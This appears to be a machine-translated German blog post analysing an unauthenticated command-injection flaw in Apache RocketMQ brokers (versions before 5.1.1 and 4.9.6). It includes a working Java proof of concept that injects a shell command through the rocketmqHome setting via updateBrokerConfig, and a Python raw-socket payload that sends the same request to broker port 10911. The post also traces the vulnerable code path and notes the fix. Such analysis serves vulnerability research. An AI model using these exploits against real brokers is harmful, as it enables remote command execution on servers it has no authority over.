Apache RocketMQ-Befehlsinjektion

Schwachstellenprofil

Bei RocketMQ 5.1.0 und niedriger besteht unter bestimmten Bedingungen das Risiko der Remote-Befehlsausführung. NameServer, Broker, Controller und andere Komponenten von RocketMQ wurden aus dem externen Netzwerk durchgesickert und es fehlte die Berechtigungsüberprüfung. Angreifer können diese Schwachstelle ausnutzen, um die Update-Konfigurationsfunktion zu nutzen, um Befehle als Systembenutzer auszuführen, der RocketMQ ausführt. Darüber hinaus können Angreifer den gleichen Effekt erzielen, indem sie den Inhalt des RocketMQ-Protokolls fälschen.

Betroffene Version

5.0.0 <= Apache RocketMQ < 5.1.1

4.0.0 <= Apache RocketMQ < 4.9.6

Sicherheitsversion

Apache RocketMQ 5.1.1

Apache RocketMQ 4.9.6

Wiederauftreten der Sicherheitslücke

Erstellen Sie lokal ein Maven-Projekt und fügen Sie Abhängigkeiten hinzu

<dependencies>   
 <!-- https://mvnrepository.com/artifact/org.apache.rocketmq/rocketmq-tools -->
        <dependency>
            <groupId>org.apache.rocketmq</groupId>
            <artifactId>rocketmq-tools</artifactId>
            <version>5.1.0</version>
        </dependency>
</dependencies>

Exploit-Code schreiben

import org.apache.rocketmq.tools.admin.DefaultMQAdminExt;

import java.util.Properties;

public class poc1 {
    public static void main(String[] args) throws Exception {
        // 创建 Properties 对象
        Properties props = new Properties();
        //修改rocketmqHome配置
        props.setProperty("rocketmqHome","-c gnome-calculator test");
        props.setProperty("filterServerNums","1");
        // 创建 DefaultMQAdminExt 对象并启动
        DefaultMQAdminExt admin = new DefaultMQAdminExt();
        //此处为 namesrv 端口,此端口无需可访问
        admin.setNamesrvAddr("192.168.222.130:9876");
        admin.start();
        // 更新配置⽂件
        //此处为 broker 端口,必须可访问
        admin.updateBrokerConfig("192.168.222.130:10911", props);
        // 关闭 DefaultMQAdminExt 对象
        admin.shutdown();
    }
}

Schwachstellenanalyse

20436bc2ba3a687a948385e48c98663f.jpeg 1acbc46d7f63a797a47514914b743caa.jpeg 91831a9f53bdb1f7d140c28b89211364.jpeg fef1a13d5ec00c6ffb370a555bbb4261.jpeg

Wir sehen, dass der wirklich gefährliche Vorgang darin bestehen sollte, mit 10911 zu kommunizieren, ohne Authentifizierung und verschlüsselte Übertragung, und gleichzeitig Parameter für die Befehlsausführung einzuführen

org/apache/rocketmq/remoting/protocol/RequestCode.javaCode stellt Aufrufe verschiedener Funktionen dar

03a7a120edeef06c2ecf74d3b0dc46b7.jpeg org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#processRequest f18fdfc7d04107ccadca26cbd9ef1b44.jpeg org/apache/rocketmq/broker/processor/AdminBrokerProcessor.java#updateBrokerConfig 863372a0726ca3a3a267be699202b9ee.jpeg org/apache/rocketmq/remoting/Configuration.java#update 79442e14d0e76f06598469550bac18ea.jpeg

Wenn es sich bei dem Attributnamen um einen integrierten Attributnamen handelt, aktualisieren Sie den Vorgang

Der letzte Teil ist klarer

org/apache/rocketmq/broker/BrokerStartup.java#start

7c9482ac4c81912047fa0703bec13b29.jpeg org/apache/rocketmq/broker/BrokerController.java#start 5819319038559e732aea9fb62b0985d1.jpeg org/apache/rocketmq/broker/BrokerController.java#startBasicService 581ee0352eb73663a688677ee6770faf.jpeg
Bild
org/apache/rocketmq/broker/filtersrv/FilterServerManager.java#start 0fc9a3d1e9bbcbffc56adf5776c9f41a.jpeg
Bild
Den von Wireshark erfassten Datenpaketen zufolge können wir auch eine solche Nutzlast konstruieren, um die Schwachstelle auszulösen
import socket
import binascii
client = socket.socket()

# you ip
client.connect(('192.168.222.130',10911))

# data
json='{"code":25,"flag":0,"language":"JAVA","opaque":0,"serializeTypeCurrentRPC":"JSON","version":433}'.encode('utf-8')
body='filterServerNums=1\nrocketmqHome=-c gnome-calculator test'.encode('utf-8')
json_lens = int(len(binascii.hexlify(json).decode('utf-8'))/2)               # 一个字节是2个十六进制数
head1 = '00000000'+str(hex(json_lens))[2:]                                   # hex(xxxx) 0x1243434 去掉 0x
all_lens = int(4+len(binascii.hexlify(body).decode('utf-8'))/2+json_lens)    # 总长度要 加上 head1[-8:] 的值
head2 = '00000000'+str(hex(all_lens))[2:]
data = head2[-8:]+head1[-8:]+binascii.hexlify(json).decode('utf-8')+binascii.hexlify(body).decode('utf-8') # 协议总长度+json长度+json+body

# send
client.send(bytes.fromhex(data))
data_recv = client.recv(1024)
print(data_recv)

Fehlerbehebung

Module zur Befehlsausführung werden entfernt

0715abe40432bb426522330e2e0273c1.jpeg

Ausschreibung von Originalmanuskripten

Fordern Sie originelle technische Artikel an, gerne posten

E-Mail-Adresse für die Einreichung: [email protected]

Artikeltyp: Hacker-Geek-Technologie, Informationssicherheits-Hotspots, Sicherheitsforschung und -analyse usw.

Wenn Sie die Bewertung bestehen und veröffentlichen, können Sie eine Vergütung zwischen 200 und 800 Yuan erhalten.

Für weitere Details klicken Sie auf mich, um es anzuzeigen!

a37b24c45dab6e53b652516b904ef9a5.gif

Schießstandübungen, klicken Sie auf „Originaltext lesen“

Ich denke du magst

Origin blog.csdn.net/qq_38154820/article/details/132062931
Empfohlen
Rangfolge